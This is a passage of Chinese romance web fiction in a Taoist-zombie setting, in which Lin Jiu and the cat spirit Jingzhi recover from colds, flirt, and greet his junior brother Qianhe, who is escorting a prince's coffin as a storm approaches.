静之愣愣地看着打喷嚏的林九,张了张嘴,莫名感到一阵心虚。 “那个,不会是我刚刚亲你,传染给你了吧?” 林九摇头,“没那么快。” 突然,他的脑海中记起了昨晚,他偷来的那个贴贴。 于是,林九更心虚了。 “走,回去吃药。” 静之:“……一起吃?” 林九顿了一下,才缓缓点头。 …… 两人走了一会儿,又来到那片稻田,刚走没几步,就看到满身污泥的文才。 林九和静之,彻底默了。 “你……不会掉田里了吧?” 文才眼泪都快流出来了,他瘪着嘴一脸哀怨问道: “师父,不抓鱼了?我看师兄都回去了。” 林九有些没眼看: “还抓什么鱼,回去洗澡,柚叶也给你摘了,赶紧的!” 他这二徒弟是怎么回事,怎么最近这么倒霉了? 几乎没有一天好着的时候。 …… 回到四目家,该洗澡的洗澡,该熬药的熬药。 吃完了饭。 等四目忙完,要叫林九跟静之喝药的时候,却发现他俩皆红着脸颊躺在床上。 他端着两碗药,有些一言难尽,难以启齿,外加满脸不赞同: “师兄,你……你们还病着呢……而且,这是我家!” 静之大热天的,却有些发冷,她两手揪着被子,微微昂起头看向门口的四目,有些尴尬地解释: “不是,我们什么都没做,阿九也发烧了。” 话音刚落,四目跟见到两个毒人似的,立刻大退三步,直接退到房门外,然后把推拉门合上,只留一条小缝。 他用袖子捂住口鼻,从门缝里看着两人说: “你们两个真是,还有文才,我看义庄风水是不是不太好啊,衰到一起去了,可别传染给我啊!” 还没说完呢,他就“哐”的一声,赶紧把推拉门合上。 静之从被子里伸出尔康手,欲言又止,“道长……药!” 门外头突然传来四目远去的声音,“给你们放房门口了!” 啧,是感冒,又不是天花,这么害怕干什么哦。 静之无奈,转头看了林九一眼,她现在连说话都带着点鼻音: “我看,我们今天还是别出去了,免得传染给他们。” 话刚说完,楼下突然传来秋生一声大喷嚏,还有四目恐慌的叫声跟奔跑声。 楼下的四目:“你们怎么回事,你也给我进去自己房间待着去!” 林九跟静之面面相觑。 静之立刻举手发誓,“你信我,我只亲过你一个!” 林九想的却不是这个。 他掀开被子,走到门外,把两碗药拿了进来,递给静之一碗。 然后回到他的褥子上盘腿坐下,在等待药放温一些的期间,他不断捻动手指,小声念叨着什么。 静之看了一眼黑漆漆的药,还没喝,脸就变得皱皱巴巴的,她把药放在床头,然后凑过去。 待他闭嘴以后,才轻声问道: “怎么样?你算出什么了吗?” 林九眉头皱得死紧,思索了许久,才说了句“奇怪”。 “什么奇怪?秋生也玩水了,打个喷嚏很正常吧。” 林九缓缓摇头,“太多巧合聚集在一起,就不是巧合,而且家乐跟菁菁也玩水了,他们两个却并无大碍,只有我们义庄的人出了事。” 他面色一沉,虽不愿往最坏的方向想,但恐怕真是那样。 “我猜是有人在捣鬼,但我暂时算不出始作俑者。” 静之心里一惊,“水里有毒啊?” 林九无语住了。 人在无语的时候,真的会笑。 林九轻笑了一声,忍不住捏了捏静之泛红的脸颊肉,说: “不是,等病好了,我们回去义庄看看。” 嗯,脸颊软软的,真好捏。 见她一脸担忧的样子,林九放过她的脸颊肉,转而轻揉着她眉间的褶皱说: “别担心,这种术法一般都需要载体,等我们找一找,破解掉就好了……想来,我们可能是得罪了什么人吧。” 他想,可能是文才八字弱,所以才格外的衰吧。 他和静之,还有秋生,倒是还好,只是生个小病。 静之本就烧得有些迷糊,现在更是被他说得云里雾里。 然而,林九就算感冒了,也一副气定神闲的样子,让静之倍有安全感。 于是点点头,然后将她的被褥拉了过来,和林九的贴在一起。 “……静之,还不可以。” 林九那副气定神闲的样子顿时消失不见,反而羞红了脸一个转身,把住他褥子的另一侧。 静之眯了眯眼,“再挪,扣你分哦!” 林九半蹲在席上,顿时僵住。 静之一骨碌又躲进被子里,然后拍了拍在她脑袋边上的蓝色枕头说: “你快喝药,喝完躺下呀。” 说得跟她不是病人似的,林九有些无语。 他叹了口气,把手中已经放到温热的药凑到嘴边喝着。 静之看着他毫不犹豫的样子,以及那不断上下滑动的喉结,顿感舌根一阵发苦。 待林九放下碗,那张面不改色的脸露在她眼前时,静之更是为之赞叹: “这药不苦的吗?” 既然能问出这种话,就说明她怕苦。 林九眼皮微微阖下一点,“不苦,虽颜色重,味道却是跟凉茶一样,你喝喝看。” 静之狐疑地看了他一眼,手肘微微撑起身子,端过碗,像小猫似的,警惕地嗅了嗅。 咦~ 她觉得鼻子好像有味觉了,鼻黏膜直发苦! 林九:“闻起来味大,真的不苦,你捏住鼻子喝就行。” “真的假的?!” 等静之被林九忽悠着喝了一口,差点呕出来的时候,恨不得打他一顿。 “扣你一分!林九你说谎!满分十分,扣完就拜拜!” 林九愣住了,好半晌才往前挪了两步凑过去,有些委屈地说: “再不喝脑子就要烧坏了,我……” 静之讨价还价,“那我喝,你要让我的床铺跟你的放在一起!” 林九:“……那,就生病期间可以,回去义庄后,你回你房间睡。” 静之咬咬牙:“……成交!” 林九推了推她的碗底,“喝。” 静之皮笑肉不笑,“我看你很会劝酒嘛。” 林九:他看她是烧过头了,说的什么胡话? 他干脆扯着床褥一角,作势要移开。 静之:“好好好,林九,算你狠!” 她一手死死揪住他的被褥,另一手端着碗,深呼吸一口气,然后趁味蕾不注意,一口气干了个精光。 她微微掐住自己脖子,开始演上了: “不好!这药……有,有毒!” 林九忍俊不禁,抬手揉了揉她的脑袋瓜。 “都这种时候了,还玩!” 他站起身子,从他的行李里,找出她买给他的山楂丸塞了一颗进她嘴里。 静之嚼着丸子,看他的眼神里尽是期待:“不玩也行,睡觉吧。” 林九视线下移,看到两床紧紧相贴的粉蓝被褥时,本就烧红的脸,慢慢变成了枣红色。 他板板正正躺下,把被子规规矩矩地拉到胸口处,然后侧头对静之说: “睡了。” 不过一秒,他的被子突然被一把掀起,仅穿着白色中衣的静之,以迅雷不及掩耳之势钻进他的被子里。 林九原本放在腹部的手,瞬间慌的不知道要往哪儿放了,两只手朝两侧张得开开的,甚至都伸到褥子外头去了。 “干,干什么?睡你自己的床去!” 静之揽过他的右胳膊枕着脑袋,“我冷,你抱抱我好不好?” 林九: “……现在是夏天。” 静之理直气壮: “我有病!” “……” 她是真有病。 林九投降了。 他叹了口气,侧了侧身子,伸出床外的那只手收了回来,轻轻搭在她的肩上。 那力道,轻得够可以。 静之甚至都感觉不到他手臂的重量,但见他连脖子根都开始发红,以免他被自己羞死,静之还是没有强求其他动作。 就这样任他弓着手搭着肩,缓缓进入梦乡。 听到她越发轻缓的呼吸声传来,林九这才松了口气,就在他刚把手离开她肩上一点点的时候,耳边突然听到静之的声音: “敢把手缩回去,就再扣一分!” 突然出现的声音,吓得林九一抖。 一惊一乍的,可不就是只猫嘛。 他叹口气,把暖融融的她往自己怀里揽了揽,又亲了一口他的发顶,低声说: “不放手了。” 静之嗯了一声,蹭了蹭他的胳膊,长出一口气,闻着他的味道,终于满足地睡了过去。 …… 下午三点。 “我要鱼!” 林九看着犹如梦魇般,直直从他怀里窜起的静之,有些头痛。 都这会儿了,要什么鱼? 刚想拉下她再睡一觉,就看到静之转过头来,吸溜着口水的馋样儿。 “中午只喝粥呢,鱼都没吃到一口!” 林九捏了捏眉心,有些无奈: “风寒少吃荤腥,好了以后再吃好不好?” 静之抬手摸额头,眼前突然一亮,又趴回他胸前说: “我好了我好了,不烧了!” 怕他不信,静之把脑门抵着他的脑门试温,“是不是不烧了?能不能吃了?你的温度也退了不少呢……不对,又烫起来了!” 静之撑着手,想起身给他去熬药。 一个天旋地转,她就被林九压在褥子上,白色的长发铺在他蓝色的枕头上,分外显眼,静之却笑开了花。 她搂着林九又开始发烫的脖颈,含情脉脉地看着他说: “怎么?想亲我啊?” 林九掐着她的腰的双手,渐渐加重力道。 突然,他一头栽进她的颈窝里,呼吸着来自她身上的馨香,极力压住内心的躁动。 一句“可以吗?”被他死死憋在嘴里,一个“她还病着,不能禽兽”的念头,同时出现在他脑海里。 林九都快纠结死了,静之还在那儿撩拨。 “阿九,我们都感冒了,你想亲就亲呗,这次我同意了,不扣你分。” 林九僵了许久,只是摇摇头,哑着嗓子,在她耳边低声说了句: “身体重要。” 就翻身下来,躺在她旁边,眼神又克制,又温柔。 静之:……妈呀,老头克制且为她着想的样子,可真是迷死她了。 第121章 道长,真不走? 黄昏时分,傍晚六点。 本应是万物静下来歇息的时候。 四目家的后院,却传来阵阵拳脚相接的声音。 四目和林九盘坐在廊下,文才靠在栏杆上发出或羡慕,或惊叹的阵阵哇声。 隔壁的菁菁跟一休大师,也坐在他们那边的走廊边上凑热闹。 就在这时,两只白皙的胳膊从后头伸了出来,轻轻环住了林九的脖颈,温热的气息,伴随着一股淡淡的中药味,瞬间喷洒在他的颈侧。 根据味道,以及她大胆的动作,林九便知,她醒来了。 不过,是否太近了,大家都在呢。 林九挺了挺腰板,右肩向上一耸,想把她顶开,静之却轻拍了一下他的肩膀,说: “讨厌,为什么不叫醒我,都比上了。” 声音柔柔的,好像在嗔他。 她从未用这样的语气和他说过话。 林九原本严肃的脸瞬间一和,平静无波的眼睛,却不由自主到处乱瞟。 眼中暗含着的警告厉光,让众人纷纷别过脸不敢再看,只除了厚脸皮的四目。 林九冷冷瞪了他一眼,见他嬉笑一声,摸了摸鼻子转过头去,才松了口气,微微侧头,看着她的侧脸低声说: “才刚开始。” 两颊微微相贴,静之一下就感受到林九有些热烫的脸颊。 她暗道一声“脸皮真薄”,还是好心放开了他。 转而贴在他右侧坐下,晃悠着脚,看着院子里的秋生和家乐对打。 两个小伙子穿着一身短打服装,一招一式迅速有力,发出砰砰闷响,一时之间不分胜负,就是秋生还时不时的往里抽气。 闷闷的声音表示他鼻子堵住了。 然而他的动作却没受到半分影响,随着他一个敏捷的后空翻避过家乐的一个扫堂腿,他脖间甩到空中的一道红色小小锦囊便映入静之眼中。 静之眯眼细看,有些疑惑。 “阿九,秋生脖子上挂着什么?他之前好像没有那玩意儿啊?” 林九闻言,微微低头指了指她脖间不知何时挂上的红绳,“你也有,里头装着我画的护身符。” 静之低头一看,还真是。 “你什么时候给我戴的?你也有吗?” 边说着,她就去扒拉他本来就没好好扣的衣领。 眼瞅着锁骨都被她扒拉得露出来了,林九慌乱之下,又看一眼四目和文才。 文才这回学精了,他把头缩了回去,把整个身子严严实实藏在柱子后。 而四目则干脆侧卧了下来,一手撑着头,大咧咧朝林九挑了挑眉。 林九羞了,他拿着眼神跟师弟较劲儿。 嘴上却忍不住轻咳一声,赶紧一手捏住自己衣领,一手把住静之乱动的两只爪子。 “义庄的人都有。” 四目摇着蒲扇,突然唉了一声,慢悠悠说道: “嗐!你们可就好了,师兄画的符效果可是一绝,我找他要,他还不给呢!到老都这么小气,哼!” 提到“老”这个字眼,林九身子陡然一僵,他不着痕迹用余光瞥了静之一眼。 静之情绪感知能力几乎满点。 她将手捏成拳头塞进林九温热的手心里,又快速侧头亲了他脸颊一口,这才笑眯眯地对瘫在不远处,悠闲打着扇子的四目说: “道长,你可以自己画呀,而且,我就喜欢这个小气的老头!” 四目扇子也不扇了,眼睛瞪得老大。 他万万没想到,这姑娘认爱之后,还能这么直白。 …… 就在这时,秋生一个喷嚏打的,躲闪的动作一止,家乐一拳堪堪停在他的右侧太阳穴附近。 家乐:“不打了不打了!” 人家正病着,他可不能趁人之危,没意思。 林九眉头微皱,对杵在一边当隐形人的文才说: “去厨房把药都端出来。”他轻轻捏了捏手心里静之的拳头,突然想起来什么,又朝快走到拐角处的文才唤道: “对了,把静之的饭也端出来,还有汤。” 静之脸枕着他的胳膊,满脸皆是满足的笑容。 “阿九,这回知道给我留饭啦?” 林九还没说话呢,四目倒是坐了起来,笑得一脸神秘: “我说静之啊,你是不知道,我师兄他呀……” 林九一声厉喝:“闭嘴!” 四目耸耸肩,手一摊,笑得贼兮兮的。 “你等会自己看就知道喽。” 刚说完,四目看着正拍灰的秋生二人,突然一拍脑门,对林九说: “哎呀!忘记告诉你,师弟说明天会经过这里,你们要不多留一天,你也很久没见过师弟了吧?” 静之:“师弟?你们还有个师弟?” 林九边把她在他腰间作乱的另一手掰下,捏在手心里,边低头与她解释:“嗯,他叫千鹤。” 说话间,他又转头问四目:“最近都没收到他的消息,他如何了?” 四目:“嗐,当然没消息,他去边疆了呗,他可比你们爽多了,接到了个大单,负责运送边疆战死的王爷回京。” 他满脸羡慕,又朝林九搓了搓手指头说:“我看啊,这回他可是能赚到不少这个!请客,必须叫他请客!” 林九倒是无所谓,师兄弟许久未聚,他朝四目点点头,“也好,多待两天再走。” 就在这时,文才端着个大托盘从拐角处出现。 静之嗅了嗅空气中的味道,除了中药味,还有一股掩盖不住,直直窜入她鼻腔的鲜味。 她双眼放光看着那褐色的托盘底部,嘴巴喃喃道: “阿九阿九,不是说不给我吃鱼?我闻到鱼汤的味道啦!!” 林九未说话,回屋拿了个矮几出来放她身边,“在这儿吃吧?” 他转头将两碗药,一小碗鱼汤,一碗稀饭,几小碟小菜放桌上,又朝文才扬了扬手,开始赶人: “你们去里面喝。” 一休和菁菁见没了热闹可看,都回屋去了,家乐一身灰,也去洗澡了,秋生文才不敢惹他们师父,点点头回屋,就剩下还坐在旁边的四目。 “看我干什么?这我家,我想坐哪里就坐哪里!” 静之悠悠看了他一眼,“道长,真不走?” “不走!我就坐这!” 静之突然笑了。 她一个转身,就搂住林九的的脖子亲了上去。 四目恨不得自戳双目,他逃也似的,脚步踉跄了一下,直奔屋里,然后把推拉门一把关住,隔绝众人的视线,嘴上还骂骂咧咧道: “世风日下,世风日下!师兄,你变了!” 师兄——林九,此时眼睛瞪得大大的,好像被静之亲丢了魂,甚至连唇瓣都僵住了。 静之调皮的拿舌尖轻撩一下他微微张开的唇缝,林九立刻双眼紧闭,身子剧烈抖动了一下。 他侧过头,任由静之唇瓣落在他侧脸上,他的视线直直盯着院子外头的橙色晚霞,张了张嘴,说: “静之,不可!” 静之本来只是想吓走四目的。 这会儿看到林九如此害羞无措的样子,她心头一动,像只勾人的妖精似的,一路轻轻吻过他的脸颊,又啄了一口他仿佛要滴血的耳垂,这才凑到他耳边轻声说: “有什么不可以,我是要嫁给你的。” 听到这话,林九心跳顿时漏了一拍,他猛地转过头,死死盯着她的眼睛,刚刚无处安放的双手这会儿紧紧拽着她的手。 心中翻腾的情感太激烈,他一时说不出话来,只是双眼越来越亮,脸颊也越来越红。 眼瞅着他被她一句话逼到整个人都红温了的样子,她嘴角一勾,挣脱开他的手,拿起汤匙,慢悠悠的喝着粥。 还没吃上两口,被晾到身后的林九,突然反常地,再不顾及面子,从身后拥住她的细腰。 “……未婚妻,我林九的。” 这还是他第一次在大庭广众之下拥抱她,静之笑得脸都酸了。 她轻轻拍了拍紧紧箍在她腰间的大手,满足的说: “好啦,是你林九的,你的未婚妻想吃饭呢,放开一下?” “…………好。”林九语气颇有些不情不愿。 这会儿,静之一手吃饭,一手被林九紧紧拽在手里。 静之:“干什么?我又不会跑。” 林九把她垂到前头的头发掖到耳后,轻轻摇头,表示不放手。 静之叹了口气,心里却是乐滋滋的。 “看在你今天这么主动的份上,给你加一分!” 林九嘴角微微勾起。 静之又尝了一口软糯的粥,有些疑惑地说:“这粥,不像家乐做的啊。” 林九指尖微动,鼓起勇气问: “……是我做的,鱼汤也是……好吃吗?” 静之整个惊住了。 她没想到,这辈子高名望,气势十足的林九居然愿意为她下厨。 见她微张着嘴,愣了许久,林九扯了扯嘴角,露出一枚苦笑: “若是不好吃,便撤了,我叫秋生再做一份。” 边说着,他手扶上碗沿就要端进去。 突然,一只柔荑轻轻搭在他的手腕上,“好吃!我爱吃!不准动我的饭!还有我的汤!” 她语气极其快速,赶紧把碗挪回来,往自己双臂里藏了藏。 “……那就好。” 她压根就没尝出那粥是什么味道,像是怕林九猫口夺食,她狼吞虎咽,把粥吃了个干干净净。 等到喝鱼汤的时候,却是小口小口酌着,喝没几口,就快见底了。 静之眼巴巴看着他:“阿九……汤太少了。” 林九笑看她把他做的东西吃得干干净净,又伸手感受一下她肚子状况。 “还有一碗药,喝太多汤,等会药喝不下了。” 瞧她突然耷拉着脑袋的样子,林九轻轻敲一下她的头顶说: “回义庄,我再做给你吃。” 下一秒,她就投进他的怀抱里,脸上哪有一丝郁卒,尽是欢喜,“好!阿九给我做饭!我也给阿九做饭吃,我们一起做!” “一起”——这两个字,听得林九一阵舒心,他笑着说:“好。” 突然,他开始期待起了回义庄后的日子。 …… 喝了太多汤汤水水的静之,半夜久违的起夜了。 等到她上完厕所回来,就看到黑暗中,林九那双明亮的眼睛。 “我吵醒你了?”她问。 “没有,我本就浅眠。” 静之:那不还是被她吵醒了。 今夜,她依旧缩在他怀里睡觉,见他醒了,她不再小心翼翼,大步走过去,钻进去他的被窝里,搂着他的腰,满足地叹了一声。 “回去后,我就要自己睡了,真可怜。” 林九轻轻拍着她的肩膀,又蹭了蹭她的发顶,心跳有些快,“回去后,我会尽快准备成亲事宜。” 待他说完这句话,静之突然将脸埋进他的颈窝,轻啃了一口,刚想调侃他两句,就感受到他身子的变化。 她迅速滚出他的被窝,回到自己的被子里,有些害羞说着: “好。” 老头,活力比之年轻人,毫不逊色嘛。 被窝里突然只剩他一人,有些冷。 林九难掩失落,刚动了一下身子,便发现异状。 他轻扶额头,暗骂一句自己,这才拢宽一些被子,掩饰着什么,低着嗓子说: “睡吧,明天为你引见我师弟。” 静之:“……zzzz zzzz” 耳边骤闻她鼻子有些不通的小呼噜声,林九顿时失笑。 她睡得倒是挺快。 撩拨完他,逃得也快。 真不愧是灵猫…… 第122章 恐有骤雨 四目为了迎接千鹤,早早的便叫家乐杀鸡宰鱼,备下饭菜。 眼瞅着日头当空,那鱼汤放在灶上都要熬干了,广阔的田野上依旧不见人影。 四目走在房子前面的空地上,刚徘徊两步,余光就瞄到有个窈窕的身影直奔厨房。 他猛翻了个白眼,朝楼上叫了一声:“师兄!把你家猫拎回去!” 话音刚落,静之手中拿着大汤勺,一脸惊慌地从厨房窜出来,“别叫别叫!我没喝,没喝呢,就闻闻,闻闻也不行吗?” 突然,一道阴影投到她身前的空地上,她下意识昂头朝楼上阳台望去,就看到林九双手扶着栏杆,抿着嘴看着她。 他还什么都没说呢,静之吓得毛发都快竖起来了,忙不迭地朝他讪笑一下,又招了招手。 “阿九,下来不?楼上白天热得慌。” 林九快给她气笑了,一早上不知道跑多少趟厨房。 之前在义庄,没买过鱼,他倒是不知道,她竟是这般迷恋这个物种。 他低沉说了句:“来了。” 脚步一转,就要回房。 突然,余光中,好像有黑点一动一动的,他下意识回头一看。 “师弟,千鹤来了,出门迎客。” 阳光下,仿佛有金属样的东西折射出一阵刺眼的反光,林九不由眯了眯眼。 他手搭在额前看了过去。 好家伙,不愧是王爷,这棺材不是金的就是铜的。 也难怪了,远处那道车辙痕迹确实深得有些过分,应该挺重的吧。 远远的,他能看到千鹤正指挥着他的几个徒弟推着载着棺材的推车前进。 奈何,那车轮好似陷进坑里,车子任他们推了几下,只是微微晃动,却再无寸进一步。 林九轻啧一声,感叹道: 他千鹤师弟这钱赚的,也是辛苦钱啊。 边想着,他速速下楼,叫上秋生和家乐,连同四目一起,朝那个不断晃动的棺材走了过去。 还未走到跟前,林九就听到一阴柔的声音正不断埋怨着: “哎呀,你们到底行不行啊,阿大阿二阿三,把小王爷放下来,还不去帮忙!若是棺材有了什么闪失,仔细你们的皮。” 林九走近几步,又看到那人捻着手绢朝千鹤挥了一下,“当然,要是出了问题,你们的工钱也是没有的!” 千鹤与几个徒弟一连奔波半个多月,本就筋疲力竭。 如今夏日当空,更是晒得他头脑阵阵发晕,皲裂的唇不由咽了下口水,缓解一下干渴到不行的喉咙。 他抬头看向几个汗流浃背的徒弟,有些不忍心。 于是朝这群人的主子——坐在轿子上的小王爷,一拱手,欲求歇息一会儿,视线内就出现几个熟悉的人影。 他眼前一亮,赶紧拨开乌侍郎,朝那几个人扬手。 “师兄!你们来得正好,快来搭把手!” 几个随从立刻拔刀护在小王爷身前,乌侍郎也退到小王爷跟前,捻着手绢半捂着嘴,一脸警惕地看着几人: “道长,他们几个是?” 千鹤:“他们是我两个师兄,跟我师父的两个徒弟。” 说话间,林九一行人就到了千鹤跟前。 林九拍了拍千鹤的肩膀,有些感慨: “师弟,好久不见,你好像瘦了不少。” 四目则是摸着下巴,绕着看起来就值不少钱的棺材转了几圈,心中暗道: “贵族就是贵族,连棺材用料都这么讲究!不过,为什么要弹上墨斗线呢?难道,里头的尸体要尸变了?” 他转念又一想,他师弟这活儿接的可真难办,要是普通人的尸首,尸变的话,直接烧了就完事儿。 然而,这是王爷的尸首,就算尸变,能不能烧,也不是他们这种小人物能决定的。 就在他沉思的时候,千鹤一弟子欣喜的唤了声师伯,又赶紧指向陷入淤泥里的棺材说: “师伯,一起搭把手呗,我们推了半天,这轮子倒是越陷越深了。” 四目立刻撩起袖子,朝跟林九寒暄完看过来的千鹤一挑眉,“没问题啊,师弟,我帮你一次,记得你欠我一顿饭!” 千鹤笑了笑,刚想应下,林九背着手缓缓朝四目走了过去,暗暗瞪了他一眼,压低声音怒斥,“啧,做点事就讨价还价。” 家乐年纪小一些,看他师父吃瘪,没忍住噗嗤一声笑了出来。 刚笑没几声,他的脸就被四目轻轻扇了几下。 四目整治不了林九,还治不了徒弟? 他磨了磨后槽牙,皮笑肉不笑朝家乐说:“师父真是爱死你了。还笑?!还不到后面去推!” 家乐见到有林九在场,知道他师父也不会真的揍他,他无所谓地耸耸肩,做无辜状,和秋生勾肩搭背,就走到棺材后头去了。 就在众人将棺材好不容易从泥坑里解救出来的时候,不远处又走过来三个人。 静之率先冲向正拂着衣摆上的灰尘的林九。 “阿九!怎么这么久都不回来?鱼汤都要焦了!” 四目从棺材后伸出头,“我看你是着急喝吧!” 静之朝他吐了吐舌头,又牵着林九的右手摇了摇。 林九没有说话,只是拍了拍她的手安抚,又朝她笑得温柔。 千鹤还是第一次见到林九和颜悦色的样子,他有些惊讶。 不过他算是师兄弟几个里面,性子较为沉稳的,于是也没有多问,只是朝静之点了点头,权当是打过招呼了。 “道兄,尸体属阴,为何不把篷顶拆了,让棺材晒晒太阳,阴阳协调,才不容易起尸啊。” 听到熟悉的声音,静之回头一看。 是一休大师。 这会儿功夫,他和菁菁已经走到她身后了。 乌侍郎听到起尸二字,不禁感到浑身发毛,他抱着双臂扶了抚,又抬头看向烈日,觉得眼前这个和尚说得在理,于是打发随从,就要去拆那篷顶。 林九上前一步抬手制止,“大人且慢。” 乌侍郎奇怪地看了他一眼,“你又有什么说法?” 林九指了指天空说: “墨斗线一碰水就会失去效用,今日云走得飞快,恐有骤雨,请大人三思。” 乌侍郎娘归娘,但还是能听进去话的,而且林九一脸正气,看起来就容易让人信服。 他皱着眉思考了一会儿,就走到前头去询问小王爷的意见。 小王爷:“听他们的,另外,扎营休息会儿吧,我累了。” 乌侍郎应声说是,转身赶紧招呼随从们就地扎起帐篷。 四目瞧他们正忙活着,扯着千鹤的袖子就要往他家走。 “师弟,吃个饭再走,家乐早就做好饭菜等你们了!” 千鹤往后仰了仰身子,扯回袖子,“师兄,我看,我还是留在这儿吧,我怕事情有变,你也看到了……” 边说着,他悄悄指了指不远处的棺材。 四目表情不复轻佻,反而有些凝重,“算了,我叫家乐把饭给你们提过来吧,需要帮助的话,我家的位置你是知道的。” 千鹤感激的朝他笑了笑,“那就先行谢过师兄了,改天空了,我一定请你们吃饭!” 林九走前又朝他交代一句: “小心驶得万年船,你最好叫他们给棺材搭个帐篷,光一个篷顶不保险,这里地势平坦,一阵风,就能把雨刮到棺材上。” 千鹤一向尊重林九,他点头称是,转身便找了乌侍郎商量去了。 静之牵着林九的手慢慢走着,又回头看了一眼那被缓缓朝帐篷里推的暗金色棺材。 “阿九,墨斗线,上次我还是看任老爷那副棺材弹过呢,这里头的人,不,这里头的尸体,不会要变僵尸了吧?” 林九点头,“千鹤虽是我师弟,他的道术却是精进,绝不会无的放矢。” 他回忆了一下最近听到的消息,又缓缓跟静之解释: “听说王爷战死沙场,就留下小王爷一人,小王爷年纪尚小,且群狼环伺,王爷死后,大概率会有怨气,也或者死不瞑目,这口气吞不下的话,变成僵尸的概率是极大的。” 听他这么说,静之又回头看了一眼坐在轿子上一间阴郁的小王爷。 真可怜。 那孩子的脸上有着一股同龄人没有的成熟感,她想,那可能是因为他死了爹,无奈之下装出来的盔甲吧。 她朝家乐说:“你多打点鱼汤给小王爷送去一点呗,小孩子还在长身体呢。” 四目有些惊讶:“这你都舍得?” 静之:“有什么舍不得?” 她皱着眉头,想了想小时候的自己,死了亲爸,疯了亲妈以后,她想喝口鱼汤都艰难,她知道,这个时候正是人生中最灰暗的一段时间。 “不过是一碗鱼汤罢了,阿九以后会做给我喝的,哦?” 她朝身边的林九笑了笑。 林九点点头,他答应的事儿,从不反悔。 静之看了看天空飘着的白云,有些疑惑。 “阿九,你刚刚说会下雨,是真的吗?” 四目一副“你捡到宝的样子”啧啧两声说:“我师兄观天象的本事也是一绝,他说有雨,那就一定有雨!” 静之:看不出来,这四目道长还是个师兄吹啊! 静之突然想起什么,一拍脑门: “糟糕,阿九,我们的被子还晾着呢,回去收被子!走走走!” …… 果然,不过五六点,刮过来的风渐渐变大,还带着一股潮气。 天边也不再是橙色的云彩,而是连成片,黑压压的乌云。 静之看那压得极低,仿佛要掉下来的乌云,莫名有些心慌。 “阿九,我看这雨好像会很大的样子,他们会没事的吧?” 林九停笔,把写了一半的宴客名单细细核对了一遍,才转头朝不远处草坪上的几个帐篷看去。 “……我画点符吧。” 第123章 让林九讨厌的雷 突如其来的一声轰隆巨响,一道雷光闪过,静之立刻从席上爬起,一个扭身,就从林九的臂弯钻进他怀里。 “害怕?” 静之老实点头,“怕打雷。” 主要是她怕雷打她头上。 林九头侧了侧,双臂向前搁在桌上,把静之虚虚圈进怀里。 “不怕,我在这儿呢。” 静之乖巧地点点头,她身后伸出一条尾巴,灵活地摆动着,将林九放在地上的布包给拖了过来。 随后,她打开布包,把里面那一沓空白的黄符、朱砂以及毛笔等物品,整整齐齐地摆放在了林九的面前。 “你画吧,我不打扰你。” 林九点了点头,伸出手提起笔杆,笔尖在朱砂中蘸了蘸,待笔头沾满鲜红的朱砂后,便开始全神贯注地绘制起驱邪符来。 就在这时,天空中的乌云像是被一只无形的大手搅动着,原本还算平静的天气瞬间变得阴沉起来。 紧接着,几道耀眼的闪电划破天际,伴随着阵阵沉闷的雷声,豆大的雨点如断了线的珠子般从云层中倾泻而下。 起初,这些雨点砸在屋顶上还只是发出噼里啪啦的声响,但仅仅过了几秒钟,雨势便骤然增大,那噼里啪啦的声音也突然间转变成了“唰唰”的巨响。 此刻,除了时不时传来的震耳欲聋的惊雷之声外,整个世界似乎都被这汹涌澎湃的雨声所淹没。 那连绵不绝的雨声听久了之后,竟让人产生一种如同置身于白噪音中的感觉。 静之不由自主地慢慢地放松了自己紧绷的身体,她的头轻轻地朝着后方仰去,双眼微闭。 “真好,阿九抱着我,我就不怕了。” 画符的手顿了一下,耳边突然传来他低沉的笑声。 他问:“我是定心丹吗?” 她回答:“可不就是嘛。” 静之半眯着眼,有些昏昏欲睡,耳蜗仿佛被他低沉又温柔的嗓音搔得痒痒的,她不禁伸手掏了掏。 林九手中的笔犹如灵动的游龙一般,不间断画着。 待到画完最后一张,他轻轻搁下毛笔,然后缓缓地侧过脑袋,目光如同两道锐利的箭,紧紧地锁定在了那片磅礴雨势中。 只见不远处有几个帐篷孤独地矗立在风雨中。 此时,帐篷内已经亮起了橘黄色的暖光,然而,帐篷外的篷布却早已被雨水淋得湿透,湿漉漉的样子就像是一只只被大雨困住的萤火虫。 林九凝视着那篷顶上淤积而下、越积越多的一滩雨水,不知不觉间竟有些出神。 一旁的静之见状,轻声问道:“担心吗?要不我们过去看看吧?” 说着,她便准备转身去找四目道长借一把雨伞。 就在这时,林九突然开口喊了一句:“师弟。” 仅仅说了两个字,便没有了下文。 静之一愣,发出了一声疑问的“嗯?” 林九看着一桌子的黄符,心定了定。 然后伸出双手将她的肩膀微微掰向自己这边,他注视着她的眼睛,涩然一笑,“以后你就同我一起叫他师弟,千鹤也是一样的,叫他师弟即可。” 静之被他笑得一个晃神,她忍不住抚上他微微上扬的嘴角,跟着一起笑了起来。 “好,以后都叫师弟。要出去看看吗?” 林九:“不用,他已经出师了,有事情他会自己处理的,若真有急事,他会来找我们的。” 静之点点头,又有些感慨地说道: “这两天,我都看到你笑好几次了呢,之前处了那么久,你都老是板着脸,脸臭得不行。” 林九伸手轻轻捏住她纤细的手腕,却是没有将她的手拿下,而是轻轻摩挲着,“是吗?” 有时候,他笑而不自知。 当他身处她身旁时,整个人都会不由自主地放松下来,而嘴角也会像是被一根无形的线牵扯着,情不自禁地上扬。 静之重重点头,刚刚困到有些迷糊的双眼,乍一看到他的笑容,早就两眼放光了。 她一脸正经说: “你笑起来很好看啊,多笑笑,我爱看。” 林九嘴角上扬的弧度愈发明显了,一抹笑意悄然爬上了他的眉梢。 他犹豫了一下,还是伸手轻轻捧着她的脸,轻声说着: “你也多笑笑,之前,你冷眼看我时,看得我心里难受。” 静之闻言,不禁轻哼了一声,随后更是毫不犹豫地转过身,将整个身子都挪到了他的双腿上。 如此一来,两人便面对面地坐着了。 她紧紧圈住他的脖子,把自己像树袋熊一样挂在他身上,嘀嘀咕咕地抱怨着: “谁叫你担心别的女人,我吃醋嘛,喜欢你就会吃醋的啊。” 林九一噎,她有时候真是比蔗姑还直白呢。 不过林九很是受用。 他的耳朵已经自动屏蔽其他字眼,脑子里只余喜欢二字,恋爱脑渐渐安上了。 林九将她纳入怀中,满足的轻轻拍着她的背。 然而,有件事,他知道现在不提,以后再提的话,可能会影响到二人的感情。 思虑了一分多钟,他有些吞吞吐吐的开口:“以后若是不开心……”,他停了好几秒,才轻声说道:“……能不能不找仲尧喝酒?” 静之默了,空气一时静谧。 突然,林九胸口一痛。 被她掐的。 “我才没有找他喝酒呢,他去那里打包饭菜,遇到我而已。” 